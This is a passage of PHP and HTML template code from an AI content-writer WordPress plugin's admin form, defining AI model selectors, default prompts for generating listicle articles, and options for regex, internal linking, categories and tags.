'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_title_model" name="aiomatic_listicle_list[topic_title_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the intro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Intro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[intro_prompt][]" placeholder="Enter your intro prompts, one per line" class="cr_width_full">Craft an introduction for a listicle about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Highlight the number of items in the list (%%sections_count%% items) and what the reader can expect to learn or gain from the listicle.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the intro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Intro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_intro_model" name="aiomatic_listicle_list[topic_intro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Listicle Entries. These will be set also as headings in the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Listicle Entries Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[sections_prompt][]" placeholder="Enter your sections prompts, one per line" class="cr_width_full">Write %%sections_count%% consecutive entries for a listicle about "%%title%%". The entries must be written in %%language%%, following a %%writing_style%% style and a %%writing_tone%% tone. Don't use HTML in your response, write only plain text entries, one on each line, as I will use these entries to further create content for each of them. Return only the entries, nothing else. Add numbers to created entries, in this format: 1)</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Listicle Entries generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Listicle Entries Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_sections_model" name="aiomatic_listicle_list[topic_sections_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Content of the article, which will be applied to each section heading generated by the plugin (or entered manually) or to the entire content (depending how you select using the 'Use the Above Content Prompt To Create The Entire Article' checkbox). You can use the following shortcodes: %%title%%, %%article_so_far%%, %%last_section_content%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%current_section%%, %%paragraphs_per_section%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Listicle Entries Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="3" cols="70" name="aiomatic_listicle_list[content_prompt][]" placeholder="Enter your content prompt" class="cr_width_full">Write the content of a listicle section for the heading "%%current_section%%" in %%language%%. The title of the post is: "%%title%%". Don't add the title at the beginning of the created content. Be creative and unique. Don't repeat the heading in the created content. Don't add an intro or outro. Write %%paragraphs_per_section%% paragraphs in the section. Use HTML for formatting, include unnumbered lists and bold. If needed, you can use WordPress related CSS styling for the article. When applicable, add also HTML tables with WordPress styling (you can use WordPress table classes). If added, table data must be relevant, creative, short and simple. Act as a Content Writer, not as a Virtual Assistant. Return only the content requested, without any additional comments or text. Writing Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the content generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Content Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_content_model" name="aiomatic_listicle_list[topic_content_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select if you want to use the above content prompt to create the entire article from a single API call (checkbox checked) or to run the prompt for each section separately (checkbox unchecked). If you check this, be sure to modify the content prompt accordingly.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Use the Above Content Prompt To Create The Entire Article (Not Each Section):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="single_content_call-1" name="aiomatic_listicle_list[single_content_call][]" onclick="hideTOC(-1);"> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the Q&A of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Q&A Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[qa_prompt][]" placeholder="Enter your Q&A prompts, one per line" class="cr_width_full">Write a Q&A listicle for an article about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Each question should be clear and engaging, followed by a detailed and informative answer. Use HTML for formatting, include unnumbered lists and bold where applicable. Return only the Q&A content, nothing else.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the Q&A generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Q&A Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_qa_model" name="aiomatic_listicle_list[topic_qa_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the outro of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections_count%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Article Outro Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[outro_prompt][]" placeholder="Enter your outro prompts, one per line" class="cr_width_full">Write an outro for a listicle about "%%title%%", in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the outro generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Outro Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_outro_model" name="aiomatic_listicle_list[topic_outro_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Prompt to be used for the excerpt of the article. You can use the following shortcodes: %%title%%, %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%sections%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[excerpt_prompt][]" placeholder="Enter your excerpt prompts, one per line" class="cr_width_full">Write a short excerpt for a listicle about "%%title%%" in %%language%%. Style: %%writing_style%%. Tone: %%writing_tone%%. Must be between 150 and 250 characters. Highlight the listicle nature of the article and what readers can expect to find.</textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for the excerpt generator.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Excerpt Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="topic_excerpt_model" name="aiomatic_listicle_list[topic_excerpt_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr class="hidetopic"><td colspan="2"> <h4><?php echo esc_html__("Advanced Prompting Options", 'aiomatic-automatic-ai-content-writer');?>:</h4> </td></tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Run regex on prompts. To disable this feature, leave this field blank. No Regex separators are required here. You can add multiple Regex expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[strip_by_regex_prompts][]" placeholder="regex expression" class="cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Replace the above regex matches with this regex expression. If you want to strip matched content, leave this field blank. No Regex separators are required here. You can add multiple replacement expressions, each on a different line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Replace Matches From Regex (Prompts):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" class="cr_width_full" name="aiomatic_listicle_list[replace_regex_prompts][]" placeholder="regex replacement" class="cr_width_full"></textarea> </td> </tr> <tr class="hidetopic"> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select on which prompts do you want to run the above Regex. Possible values are (or any of their combinations): title, intro, sections, content, outro, excerpt", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Run Above Regex On Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input id="run_regex_on" name="aiomatic_listicle_list[run_regex_on][]" type="text" list="run_regex_on_list" class="coderevolution_gutenberg_input" value="content"/> <datalist id="run_regex_on_list"> <option value="title">title</option> <option value="intro">intro</option> <option value="sections">sections</option> <option value="content">content</option> <option value="qa">Q&A</option> <option value="outro">outro</option> <option value="excerpt">excerpt</option> </datalist> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Global Prompt Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be prepended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Prepend Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[global_prepend][]" placeholder="Global prompt prepend text" class="cr_width_full"></textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This will be appended to each prompt sent by the plugin to the AI writer. You can use the following shortcodes: %%topic%%, %%language%%, %%writing_style%%, %%writing_tone%%, %%title%%, %%random_sentence%%, %%random_sentence2%%, %%post_original_title%%, %%blog_title%% - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Append Text To All Textual AI Prompts:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[global_append][]" placeholder="Global prompt append text" class="cr_width_full"></textarea> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Automatic Linking Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the linking method to use in posts.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Automatic Linking Type:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="link_type" onchange="hideLinks('');" name="aiomatic_listicle_list[link_type][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="internal"><?php echo esc_html__("Internal Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="manual"><?php echo esc_html__("Manual Links", 'aiomatic-automatic-ai-content-writer');?></option> <option value="mixed"><?php echo esc_html__("Mixed Links", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the maximum number of automatic links to add to created posts. You can also define custom ranges, like: 3-5. Please note that this feature will work best if you already have a considerable number of posts published on your site, which will be used for internal linking.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Maximum Number Of Automatic Links To Add To The Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_listicle_list[max_links][]" placeholder="Add the number of links to enable this feature" class="cr_width_full"> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Enter a manual list of links, where the plugin will create links.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Manual List Of URLs (One Per Line):", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <textarea rows="1" cols="70" name="aiomatic_listicle_list[link_list][]" placeholder="URL list (one per line)" class="cr_width_full"></textarea> </td> </tr> <tr class="hidelinks"> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to add nofollow attribute to manually entered, external links?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Add Nofollow Attribute To Manual Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="link_nofollow" name="aiomatic_listicle_list[link_nofollow][]"> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the post types where to create automatic links in posts. You can also add a comma separated list of multiple post types.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Post Types Where To Generate Automatic Links:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="text" name="aiomatic_listicle_list[link_post_types][]" placeholder="post" class="cr_width_full"> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Category Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post categories from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_categories" name="aiomatic_listicle_list[auto_categories][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for category generator. You can add this to the post categories, if you select 'AI Generated Categories' in the 'Auto Add Categories' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="category_model" name="aiomatic_listicle_list[category_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post categories. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, to get a list of PAA questions for the KEYWORD you want to use. Update: nested shortcodes also supported (shortcodes generated by rules from other plugins). You can also add here a link to a .txt file, where you can add multiple prompts (one per line) and the plugin will select a random one at each run. You will also be able to use the custom shortcodes defined in the 'Custom Shortcode Creator' feature from the rule settings - this will allow you to create partially or fully AI generated prompts which will be used for the content generators.", 'aiomatic-automatic-ai-content-writer'); echo ' ' . sprintf( wp_kses( __( "Please check some tips and tricks about writing prompt commands, <a href='%s' target='_blank'>here</a>.", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), 'https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/' ); ?> </div> </div> <b><?php echo esc_html__("Prompt For The AI Category Generator:", 'aiomatic-automatic-ai-content-writer');?></b> <b><a href="https://coderevolution.ro/knowledge-base/faq/how-to-create-a-good-seed-prompt-command-for-aiomatic-for-openai-gpt-3-api/" target="_blank">ⓘ</a></b> </td> <td> <textarea rows="2" cols="70" name="aiomatic_listicle_list[category_ai_command][]" placeholder="Write a comma separated list of categories, for the post title: %%post_title%%" class="cr_width_full">Generate a comma-separated list of relevant categories for the post title: "%%post_title%%". These categories must accurately categorize the article within the broader topics or themes of your blog, aiding in the organization and navigation of your content.</textarea> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the post category that you want for the automatically generated posts to have.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Additional Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select multiple id="default_category" name="aiomatic_listicle_list[default_category][]" class="cr_width_full" onmouseover="this.size=this.length;" onmouseout="this.size=4;"> <option value="aiomatic_no_category_12345678" selected><?php echo esc_html__("Do Not Add a Category", 'aiomatic-automatic-ai-content-writer');?></option> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <option value="<?php echo esc_html($category->term_id); ?>"><?php echo sanitize_text_field($category->name) . ' - ID ' . $category->term_id; ?></option> <?php } ?> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This feature will try to remove the WordPress's default post category. This may fail in case no additional categories are added, because WordPress requires at least one post category for every post.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Remove WP Default Post Category:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="remove_default" name="aiomatic_listicle_list[remove_default][]" checked> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("This option will make the plugin not create categories which are not already existing on your site. For best results in this case, be sure to add to the prompt the list of categories from where the AI should select.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Do Not Add Inexistent Categories:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <input type="checkbox" id="skip_inexist" name="aiomatic_listicle_list[skip_inexist][]" checked> </td> </tr> <tr><td colspan="2"> <h3><?php echo esc_html__("Post Tag Options", 'aiomatic-automatic-ai-content-writer');?>:</h3> </td></tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to automatically add post tags from the generated items?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Auto Add Tags:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td> <select autocomplete="off" class="cr_width_full" id="auto_tags" name="aiomatic_listicle_list[auto_tags][]"> <option value="disabled" selected><?php echo esc_html__("Disabled", 'aiomatic-automatic-ai-content-writer');?></option> <option value="ai"><?php echo esc_html__("AI Generated", 'aiomatic-automatic-ai-content-writer');?></option> <option value="hashtags"><?php echo esc_html__("Title", 'aiomatic-automatic-ai-content-writer');?></option> <option value="content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></option> <option value="both"><?php echo esc_html__("Title and Content", 'aiomatic-automatic-ai-content-writer');?></option> </select> </td> </tr> <tr> <td> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Model to be used for tag generator. You can add this to the post tags, if you select 'AI Generated Tags' in the 'Auto Add Tags' settings field.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Model For Post Tag Generator:", 'aiomatic-automatic-ai-content-writer');?></b> </td> <td class="cr_min_width_200"> <select autocomplete="off" id="tag_model" name="aiomatic_listicle_list[tag_model][]" class="hideAssistant cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </td> </tr> <tr> <td class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set list of prompt commands (one on each line) you want to send to AI for generating post tags. You can use the following shortcodes here: %%post_title%%, %%random_sentence%%, %%post_original_title%%, %%random_sentence2%%, %%blog_title%%. You can also add a link to a TXT file, containing keywords (one per line), or to an RSS feed. If you use RSS feeds, you can also use the following additional shortcodes: %%post_content%%, %%post_content_plain_text%%, %%post_excerpt%%, %%post_cats%%, %%author_name%%, %%current_date_time%%, %%post_link%%. The length of this command should not be greater than the max token count set in the settings for the prompt command - Update: %%related_questions_KEYWORD%% is also supported, 